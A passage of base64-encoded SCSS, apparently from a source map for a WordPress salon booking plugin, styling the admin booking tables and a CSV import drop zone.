3RfbmFtZSxcbiAgICAgICAgdGguY29sdW1uLWxhc3RfbmFtZSxcbiAgICAgICAgdGguY29sdW1uLXVzZXJfZW1haWwsXG4gICAgICAgIHRoLmNvbHVtbi1zZXJ2aWNlX2R1cmF0aW9uLFxuICAgICAgICB0aC5jb2x1bW4tc2VydmljZV9wcmljZSxcbiAgICAgICAgdGguY29sdW1uLXNsbl9kYXlzX29mZiB7XG4gICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgICAgICAgICAgZGlyZWN0aW9uOiBydGw7XG4gICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgdGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG4gICAgICAgIH1cbiAgICB9XG4gICAgLndwLWxpc3QtdGFibGVcbiAgICAgICAgdGJvZHlcbiAgICAgICAgdHI6bm90KC5pbmxpbmUtZWRpdC1yb3cpOm5vdCgubm8taXRlbXMpOm5vdCguaXMtZXhwYW5kZWQpIHtcbiAgICAgICAgd2lkdGg6IGNhbGMoMTAwdncgLSAyNHB4KSAhaW1wb3J0YW50O1xuICAgICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDQ1cHggYXV0byA0NXB4O1xuICAgICAgICBncmlkLXRlbXBsYXRlLXJvd3M6IDQ1cHggYXV0byBhdXRvIGF1dG8gNDVweDtcbiAgICAgICAgdGRbZGF0YS1jb2xuYW1lPVwiU2VydmljZSBJRFwiXSB7XG4gICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICB9XG4gICAgICAgIHRkLmNvbHVtbi1wcmltYXJ5IHtcbiAgICAgICAgICAgIGdyaWQtY29sdW1uOiAyO1xuICAgICAgICAgICAgZ3JpZC1yb3c6IDEgLyBzcGFuIDU7XG4gICAgICAgICAgICB3aWR0aDogMTAwJSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgZGlzcGxheTogZ3JpZCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7XG4gICAgICAgICAgICBncmlkLXRlbXBsYXRlLXJvd3M6IDQ1cHggYXV0byAzNXB4O1xuICAgICAgICAgICAgcGFkZGluZzogMWVtIDFlbSAwLjc1ZW0gMWVtICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICBwIHtcbiAgICAgICAgICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIC5yb3ctYWN0aW9ucyB7XG4gICAgICAgICAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgICAgICAgICAgZ3JpZC1yb3c6IDM7XG4gICAgICAgICAgICAgICAgYWxpZ24tc2VsZjogZW5kO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGxlZnQ6IHVuc2V0O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJi50aXRsZSB7XG4gICAgICAgICAgICAgICAgLnJvdy10aXRsZSB7XG4gICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IDY2dnc7XG4gICAgICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICAuY2hlY2stY29sdW1uIHtcbiAgICAgICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgIH1cbiAgICAgICAgdGQuY29sdW1uLWJvb2tpbmdfZGF0ZSxcbiAgICAgICAgdGQuY29sdW1uLWJvb2tpbmdfc3RhdHVzLFxuICAgICAgICB0ZC5jb2x1bW4tbXlhdXRob3IsXG4gICAgICAgIC5jb2x1bW4tZmlyc3RfbmFtZSxcbiAgICAgICAgLmNvbHVtbi1sYXN0X25hbWUsXG4gICAgICAgIC5jb2x1bW4tdXNlcl9lbWFpbCxcbiAgICAgICAgdGQuY29sdW1uLXNlcnZpY2VfZHVyYXRpb24sXG4gICAgICAgIHRkLmNvbHVtbi1zZXJ2aWNlX3ByaWNlLFxuICAgICAgICB0ZC5jb2x1bW4tc2xuX2RheXNfb2ZmIHtcbiAgICAgICAgICAgIHdpZHRoOiAxMDAlICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICBtaW4taGVpZ2h0OiA1cHg7XG4gICAgICAgICAgICBwYWRkaW5nOiAwLjNlbSAxZW0gMC4zZW0gNDAlICFpbXBvcnRhbnQ7XG4gICAgICAgIH1cbiAgICAgICAgdGQuY29sdW1uLWJvb2tpbmdfZGF0ZSxcbiAgICAgICAgLmNvbHVtbi1maXJzdF9uYW1lLFxuICAgICAgICB0ZC5jb2x1bW4tc2VydmljZV9kdXJhdGlvbiB7XG4gICAgICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgICAgIGdyaWQtcm93OiAyO1xuICAgICAgICAgICAgcGFkZGluZy10b3A6IDAuNzVlbSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNkZGQ7XG4gICAgICAgIH1cbiAgICAgICAgdGQuY29sdW1uLWJvb2tpbmdfc3RhdHVzLFxuICAgICAgICAuY29sdW1uLWxhc3RfbmFtZSxcbiAgICAgICAgdGQuY29sdW1uLXNlcnZpY2VfcHJpY2Uge1xuICAgICAgICAgICAgZ3JpZC1jb2x1bW46IDI7XG4gICAgICAgICAgICBncmlkLXJvdzogMztcbiAgICAgICAgfVxuICAgICAgICB0ZC5jb2x1bW4tbXlhdXRob3IsXG4gICAgICAgIC5jb2x1bW4tdXNlcl9lbWFpbCxcbiAgICAgICAgdGQuY29sdW1uLXNsbl9kYXlzX29mZiB7XG4gICAgICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgICAgIGdyaWQtcm93OiA0O1xuICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMC43NWVtO1xuICAgICAgICB9XG4gICAgICAgIHRkLmNvbHVtbi1zbG5fZGF5c19vZmYge1xuICAgICAgICAgICAgZGlzcGxheTogLXdlYmtpdC1ib3ggIWltcG9ydGFudDtcbiAgICAgICAgICAgIC13ZWJraXQtbGluZS1jbGFtcDogMjtcbiAgICAgICAgICAgIC13ZWJraXQtYm94LW9yaWVudDogdmVydGljYWw7XG4gICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICB9XG4gICAgICAgIHRkLmNvbHVtbi1wcmltYXJ5LFxuICAgICAgICB0ZC5jb2x1bW4tYm9va2luZ19kYXRlLFxuICAgICAgICB0ZC5jb2x1bW4tYm9va2luZ19zdGF0dXMsXG4gICAgICAgIHRkLmNvbHVtbi1teWF1dGhvcixcbiAgICAgICAgLmNvbHVtbi1maXJzdF9uYW1lLFxuICAgICAgICAuY29sdW1uLWxhc3RfbmFtZSxcbiAgICAgICAgLmNvbHVtbi11c2VyX2VtYWlsLFxuICAgICAgICB0ZC5jb2x1bW4tc2VydmljZV9kdXJhdGlvbixcbiAgICAgICAgdGQuY29sdW1uLXNlcnZpY2VfcHJpY2UsXG4gICAgICAgIHRkLmNvbHVtbi1zbG5fZGF5c19vZmYge1xuICAgICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjc1O1xuICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG4gICAgLndwLWxpc3QtdGFibGUgdGJvZHkgdHIuaXMtZXhwYW5kZWQ6bm90KC5pbmxpbmUtZWRpdC1yb3cpOm5vdCgubm8taXRlbXMpIHtcbiAgICAgICAgd2lkdGg6IGNhbGMoMTAwdncgLSAyNHB4KSAhaW1wb3J0YW50O1xuICAgICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDQ1cHggYXV0byA0NXB4O1xuICAgICAgICBncmlkLXRlbXBsYXRlLXJvd3M6IDQ1cHggYXV0bztcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICB0aCB7XG4gICAgICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgfVxuICAgICAgICB0ZCB7XG4gICAgICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAxZW0gIWltcG9ydGFudDtcbiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiAxZW0gIWltcG9ydGFudDtcbiAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMTNweDtcbiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDIuMnJlbTtcbiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZWVlO1xuICAgICAgICAgICAgJjpsYXN0LWNoaWxkIHtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJi5jb2x1bW4tcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogOHB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiB1bnNldDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuY29sdW1uLWJvb2tpbmdfZGF0ZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNkZGQ7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG4gICAgLndwLWxpc3QtdGFibGUgdHI6bm90KC5pbmxpbmUtZWRpdC1yb3cpOm5vdCgubm8taXRlbXMpOm5vdCguaXMtZXhwYW5kZWQpIHtcbiAgICAgICAgdGguc29ydGFibGUgYSxcbiAgICAgICAgdGguc29ydGVkIGEge1xuICAgICAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgICAgIC5zb3J0aW5nLWluZGljYXRvciB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIHJpZ2h0OiAtNHB4O1xuICAgICAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG4gICAgLnNhbG9uX3BhZ2Vfc2Fsb24tY3VzdG9tZXJzXG4gICAgICAgIC53cC1saXN0LXRhYmxlXG4gICAgICAgIHRib2R5XG4gICAgICAgIHRyOm5vdCguaW5saW5lLWVkaXQtcm93KTpub3QoLm5vLWl0ZW1zKTpub3QoLmlzLWV4cGFuZGVkKSB7XG4gICAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogNDVweCBhdXRvIGF1dG8gYXV0byA3NXB4O1xuICAgICAgICB0ZC5jb2x1bW4tcHJpbWFyeSB7XG4gICAgICAgICAgICAucm93LWFjdGlvbnMge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwLjVlbTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbiAgICBwLnNlYXJjaC1ib3gge1xuICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgIGJvdHRvbTogdW5zZXQ7XG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICBoZWlnaHQ6IGF1dG87XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7XG4gICAgICAgIC8vZGlzcGxheTogZ3JpZDtcbiAgICAgICAgLy9ncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDcwJSAzMCU7XG4gICAgICAgIC8vZ3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvO1xuICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgICAgI3Bvc3Qtc2VhcmNoLWlucHV0IHtcbiAgICAgICAgICAgIC8vZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgICAgICAvL2dyaWQtcm93OiAxO1xuICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAwO1xuICAgICAgICB9XG4gICAgICAgICNzZWFyY2gtc3VibWl0IHtcbiAgICAgICAgICAgIC8vZ3JpZC1jb2x1bW46IDI7XG4gICAgICAgICAgICAvL2dyaWQtcm93OiAxO1xuICAgICAgICAgICAgbWluLXdpZHRoOiA2MHZ3O1xuICAgICAgICB9XG4gICAgfVxuICAgIC5zYWxvbl9wYWdlX3NhbG9uLWN1c3RvbWVycyAudGFibGVuYXYudG9wIC5hY3Rpb25zOm5vdCguYnVsa2FjdGlvbnMpIHtcbiAgICAgICAgcGFkZGluZzogMDtcbiAgICB9XG59XG4ucG9zdC10eXBlLXNsbl9zZXJ2aWNlICNzbG4tc2Fsb24tLWFkbWluIHtcbiAgICAuY2hlY2stY29sdW1uIHtcbiAgICAgICAgaW5wdXRbdHlwZT1cImNoZWNrYm94XCJdIHtcbiAgICAgICAgICAgIG1hcmdpbjogMCAwIDAgOHB4O1xuICAgICAgICB9XG4gICAgfVxufVxuIiwiQHVzZSBcIi4uL2NvbG9yc1wiO1xuQHVzZSBcIi4uL2NvbG9ycy1udVwiO1xuQHVzZSBcIi4uL3R5cG8tYWRtaW5cIjtcbkB1c2UgXCIuLi9zZXR0aW5ncy1taXhpbnNcIjtcblxuI3Nsbi1zYWxvbi0tYWRtaW4gI3Nsbi10YWItaW1wb3J0LWRhdGEgLmFsZXJ0LmhpZGUge1xuXHQvL2Rpc3BsYXk6IGJsb2NrICFpbXBvcnRhbnQ7XG59XG4jc2xuLXRhYi1pbXBvcnQtZGF0YSB7XG5cdC5zbG4tYm94IHtcblx0XHRAbWVkaWEgc2NyZWVuIGFuZCAobWluLXdpZHRoOiAxNjIwcHgpIHtcblx0XHRcdHBhZGRpbmc6IDQwcHggNjZweCA0MHB4IDcwcHg7XG5cdFx0fVxuXG5cdFx0PiAucm93IHtcblx0XHRcdEBtZWRpYSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEyMDBweCkge1xuXHRcdFx0XHQmOm5vdCg6Zmlyc3QtY2hpbGQpIHtcblx0XHRcdFx0XHRtYXJnaW4tdG9wOiA5MHB4O1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHRAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiAxMTk5cHgpIHtcblx0XHRcdFx0Jjpub3QoOmZpcnN0LWNoaWxkKSB7XG5cdFx0XHRcdFx0bWFyZ2luLXRvcDogMjBweDtcblx0XHRcdFx0fVxuXHRcdFx0XHQ+IC5jb2wteHMtMTIge1xuXHRcdFx0XHRcdCY6bm90KDpmaXJzdC1jaGlsZCkge1xuXHRcdFx0XHRcdFx0bWFyZ2luLXRvcDogMjBweDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cblx0XHQuc2xuLWl0ZW0tdG9wIHtcblx0XHRcdC5zbG4tYm94LXRpdGxlLFxuXHRcdFx0LnNsbi1mYWtlLWxhYmVsIHtcblx0XHRcdFx0Zm9udC1mYW1pbHk6IFwiSGVsdmV0aWNhIE5ldWVcIiwgc2Fucy1zZXJpZjtcblx0XHRcdFx0Y29sb3I6ICMwMDM1NTM7XG5cdFx0XHRcdHBhZGRpbmc6IDA7XG5cdFx0XHR9XG5cblx0XHRcdC5zbG4tYm94LXRpdGxlIHtcblx0XHRcdFx0bWFyZ2luOiAwIDAgMTNweDtcblx0XHRcdFx0QG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTIwMHB4KSB7XG5cdFx0XHRcdFx0Zm9udC1zaXplOiAyNXB4O1xuXHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAzMHB4O1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cblx0XHRcdC5zbG4tZmFrZS1sYWJlbCB7XG5cdFx0XHRcdEBtZWRpYSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEyMDBweCkge1xuXHRcdFx0XHRcdGZvbnQtc2l6ZTogMTZweDtcblx0XHRcdFx0XHRsaW5lLWhlaWdodDogMThweDtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblxuXHRcdC5zbG4taW5wdXQtLXNpbXBsZS5zbG4tbG9nby1ib3gge1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMTJweDtcblx0XHR9XG5cblx0XHQuc2xuLWl0ZW0tY3N2IHtcblx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRcdGNvbG9yOiAjMDAzNTUzO1xuXHRcdFx0Zm9udC1mYW1pbHk6IFwiSGVsdmV0aWNhIE5ldWVcIiwgc2Fucy1zZXJpZjtcblx0XHRcdEBtZWRpYSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEyMDBweCkge1xuXHRcdFx0XHRmb250LXNpemU6IDE4cHg7XG5cdFx0XHRcdGxpbmUtaGVpZ2h0OiAyMnB4O1xuXHRcdFx0fVxuXHRcdH1cblx0XHQuc2xuLWZpbGVfX2Ryb3BhcmVhIHtcblx0XHRcdG1hcmdpbi10b3A6IDJlbTtcblx0XHRcdC5pbmZvIHtcblx0XHRcdFx0ZGlzcGxheTogZ3JpZDtcblx0XHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0byAvIDUwJSA1MCU7XG5cdFx0XHRcdGp1c3RpZnktaXRlbXM6IHN0YXJ0O1xuXHRcdFx0XHRmb250LXNpemU6IDEuMTVlbTtcblx0XHRcdFx0dHJhbnNmb3JtOiBzY2FsZSgxKTtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2U7XG5cdFx0XHRcdC5pbmZvLXdyYXAge1xuXHRcdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHRcdGFzcGVjdC1yYXRpbzogMTtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcblx0XHRcdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0XHRcdGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG5cdFx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRcdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0XHRcdFx0cGFkZGluZzogMmVtO1xuXHRcdFx0XHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdFx0XHRcdGJvcmRlcjogMnB4IGRhc2hlZDtcblx0XHRcdFx0XHRib3JkZXItcmFkaXVzOiBzZXR0aW5ncy1taXhpbnMudW5pdCgwLjMxMjUpO1xuXHRcdFx0XHRcdGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1taWRfZGFya19iKDAuNSk7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdFx0Zm9udC1zaXplOiAxZW07XG5cdFx0XHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEpO1xuXHRcdFx0XHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcyBlYXNlO1xuXHRcdFx0XHRcdHotaW5kZXg6IDk7XG5cdFx0XHRcdFx0c3BhbiB7XG5cdFx0XHRcdFx0XHRmb250LXNpemU6IDFlbTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0QG1lZGlhIChtaW4td2lkdGg6IDk5MnB4KSB7XG5cdFx0XHRcdFx0XHRhc3BlY3QtcmF0aW86IDEvMC4zNjtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0LnRleHQge1xuXHRcdFx0XHRcdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQuaW5mby11cGxvYWQge1xuXHRcdFx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0XHRcdFx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMudW5pdCgwLjUpO1xuXHRcdFx0XHRcdFx0XHRAaW5jbHVkZSB0eXBvLWFkbWluLmZvbnQtaWNvbigyZW0pO1xuXHRcdFx0XHRcdFx0XHRjb250ZW50OiBcIlxcZjM4MlwiO1xuXHRcdFx0XHRcdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdFx0XHRcdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjc1KTtcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1maWxlX19idG4ge1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRcdHRyYW5zZm9ybTogc2NhbGUoMSk7XG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2U7XG5cdFx0XHRcdH1cblx0XHRcdFx0LmluZm8td3JhcCArIC5zbG4tZmlsZV9fYnRuIHtcblx0XHRcdFx0XHRtYXJnaW4tdG9wOiAxLjZlbTtcblx0XHRcdFx0XHRtYXJnaW4tYm90dG9tOiAyZW07XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1idG4tLSB7XG5cdFx0XHRcdFx0bWFyZ2luLWxlZnQ6IDEwcHg7XG5cdFx0XHRcdFx0bWluLXdpZHRoOiAxNjZweDtcblx0XHRcdFx0XHRoZWlnaHQ6IGF1dG87XG5cdFx0XHRcdFx0bGluZS1oZWlnaHQ6IDE7XG5cdFx0XHRcdFx0cGFkZGluZzogMjBweCA0NXB4O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IDVweDtcblx0XHRcdFx0XHRmb250LWZhbWlseTogTW9udHNlcnJhdCwgXCJIZWx2ZXRpY2EgTmV1ZVwiLCBzYW5zLXNlcmlmO1xuXHRcdFx0XHRcdGZvbnQtd2VpZ2h0OiA3MDA7XG5cdFx0XHRcdFx0QG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTIwMHB4KSB7XG5cdFx0XHRcdFx0XHRmb250LXNpemU6IDIzcHg7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDU1MHB4KSB7XG5cdFx0XHRcdFx0XHRtYXJnaW46IDE1cHggMCAwIDA7XG5cdFx0XHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5hbGVydC1zdWNjZXNzLFxuXHRcdFx0LmFsZXJ0LWRhbmdlcixcblx0XHRcdC5wcm9ncmVzcy13cmFwcGVyIHtcblx0XHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMS4zZW07XG5cdFx0XHRcdGZvbnQtd2VpZ2h0OiA2MDA7XG5cdFx0XHRcdGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG5cdFx0XHR9XG5cdFx0XHQuYWxlcnQtZGFuZ2VyIHtcblx0XHRcdFx0cGFkZGluZzogMmVtO1xuXHRcdFx0fVxuXHRcdFx0LmFsZXJ0LXN1Y2Nlc3MsXG5cdFx0XHQucHJvZ3Jlc3Mtd3JhcHBlciB7XG5cdFx0XHRcdGFzcGVjdC1yYXRpbzogMTtcblx0XHRcdFx0QG1lZGlhIChtaW4td2lkdGg6IDk5MnB4KSB7XG5cdFx0XHRcdFx0YXNwZWN0LXJhdGlvOiAxLzAuMzY7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5hbGVydC1zdWNjZXNze1xuXHRcdFx0XHQuYWxlcnQtc2tpcHBlZHtcblx0XHRcdFx0XHRwYWRkaW5nLXRvcDo1JTtcblx0XHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdFx0XHQuc2tpcHBlZC1ib29raW5nc3tcblx0XHRcdFx0XHRcdG92ZXJmbG93LXk6IHNjcm9sbDtcblx0XHRcdFx0XHRcdG1heC1oZWlnaHQ6IDIwMHB4O1xuXG5cdFx0XHRcdFx0XHQuc2tpcHBlZC1ib29raW5nLS1pZHt3aWR0aDo1JTt9XG5cdFx0XHRcdFx0XHQuc2tpcHBlZC1ib29raW5nLS1kYXRldGltZXt3aWR0aDogMTglO31cblx0XHRcdFx0XHRcdC5za2lwcGVkLWJvb2tpbmctLWZpcnN0LW5hbWV7d2lkdGg6IDE4JTt9XG5cdFx0XHRcdFx0XHQuc2tpcHBlZC1ib29raW5nLS1sYXN0LW5hbWV7d2lkdGg6MTglO31cblx0XHRcdFx0XHRcdC5za2lwcGVkLWJvb2tpbmctLWVtYWlse3dpZHRoOjI1JTt9XG5cdFx0XHRcdFx0XHQuc2tpcHBlZC1ib29raW5nLS1waG9uZXt3aWR0aDoxNiU7fVxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQuc2tpcHBlZC1ib29raW5ncy0tdGl0bGUsXG5cdFx0XHRcdFx0LnNraXBwZWQtYm9va2luZ3MgbGl7XG5cdFx0XHRcdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0XHRcdFx0cGFkZGluZzogMCAzJTtcblx0XHRcdFx0XHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSB7XG5cdFx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRcdC5pbmZvIHtcblx0XHRcdFx0XHRcdC5pbmZvLXdyYXAge1xuXHRcdFx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMuc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXIoXG5cdFx0XHRcdFx0XHRcdFx0MC4xNVxuXHRcdFx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdFx0XHRib3JkZXItY29sb3I6IGNvbG9ycy5zbG4tY29sb3ItLWVtcGhhc2lzLS1ob3Zlcihcblx0XHRcdFx0XHRcdFx0XHQwLjVcblx0XHRcdFx0XHRcdFx0KTtcblx0XHRcdFx0XHRcdFx0Ly9ib3JkZXItcmFkaXVzOiAwLjc1ZW07XG5cdFx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWRhcmsoMSk7XG5cdFx0XHRcdFx0XHRcdC8vdHJhbnNmb3JtOiBzY2FsZSgxLjA1KTtcblx0XHRcdFx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQmLmhvdmVyIHtcblx0XHRcdFx0LmluZm8ge1xuXHRcdFx0XHRcdC5pbmZvLXdyYXAge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLnNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyKFxuXHRcdFx0XHRcdFx0XHQwLjI1XG5cdFx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdFx0Ym9yZGVyLWNvbG9yOiBjb2xvcnMuc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXIoMSk7XG5cdFx0XHRcdFx0XHRib3JkZXItcmFkaXVzOiAwLjc1ZW07XG5cdFx0XHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1kYXJrKDEpO1xuXHRcdFx0XHRcdFx0dHJhbnNmb3JtOiBzY2FsZSgxLjA1KTtcblx0XHRcdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQmLmRyb3Age1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMuc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXIoMC4xKTtcblx0XHRcdFx0cGFkZGluZzogMS40ZW07XG5cdFx0XHRcd